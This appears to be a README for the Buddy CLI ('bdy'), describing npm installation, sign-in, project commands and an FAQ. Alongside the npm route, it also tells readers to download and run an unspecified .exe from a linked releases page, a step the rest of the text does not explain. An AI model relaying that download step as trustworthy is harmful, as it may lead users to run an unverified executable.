🚀 cli - Manage your coding projects with ease

📁 What is this tool?

The Buddy CLI is a tool for your computer. It helps you manage your software projects. You use it to control your work from a text window on your screen. This tool links your projects to your online accounts. You can start, stop, and track your work without opening a web browser. It saves time for people who build software.

⚙️ System Requirements

• A computer running Windows 10 or Windows 11.
• Node.js version 24 or newer.
• An internet connection to sync your files.
• A free account on the Buddy website.

📥 How to download the software

You must visit the main page to get the installer for your computer. This file contains all the parts needed to run the tool.

Click here to open the download page

Follow these steps to finish the download:

1. Open the link above in your web browser.
2. Look for the section labeled Releases.
3. Click the file that ends with .exe to save it to your computer.
4. Wait for the download to finish.

🛠️ Installation steps for Windows

Follow these steps to set up the tool on your system.

Install Node.js

The tool needs software called Node.js to function.

1. Go to the official Node.js website.
2. Select the version marked as Recommended for Most Users.
3. Download the installer.
4. Run the installer and click Next through the prompts.
5. Restart your computer after the install finishes.

Install the CLI tool

1. Press the Windows key on your keyboard.
2. Type "powershell" and press Enter.
3. A blue window will open. Type the following command exactly as it appears: npm i -g bdy
4. Press Enter on your keyboard.
5. The system will download and set up the tool automatically.
6. Once the text stops scrolling, the install is complete.

🚀 Getting started

You can check that the tool works after you install it.

1. Open a new PowerShell window.
2. Type bdy and press Enter.
3. The screen will show a list of commands. This confirms the setup is correct.

🔑 How to sign in

You must connect the tool to your Buddy account to use it.

1. Type bdy login into your PowerShell window.
2. Press Enter.
3. A web browser window will open on your screen.
4. Sign in with your username and password.
5. Allow the tool to access your profile.
6. Close the browser window once the page says "Success."

📦 Common tasks

You can manage your projects by typing simple commands.

View your projects

Type bdy projects and press Enter. The tool displays every project connected to your account.

Check project health

Type bdy status to see the current state of your pipeline. This shows if your project passes or fails its performance tests.

Run a task

Type bdy run [name] where [name] is the task you want to begin. The tool starts the work in the background immediately.

📘 Learning more

You can find more help in the official documentation. Visit the Buddy documentation website to see advanced options. These guides explain how to trigger complex automations and manage shared files.

🔍 Frequently Asked Questions

Does the tool work if I am offline?

No. The tool needs the internet to communicate with the project servers.

Can I rename the command?

The tool uses the name bdy to prevent clashes with other programs. We do not suggest changing this name.

Where should I report errors?

Use the GitHub Issues tab on the repository page. Provide a description of the error and your Windows version.

Why does the screen go blank?

The tool clears the screen sometimes to show fresh information about your tasks. This is normal behavior and does not mean the system crashed.

How do I update to the newest version?

Run the command npm i -g bdy@latest to get the latest improvements and fixes for your system. The installer will overwrite the old files with the new ones.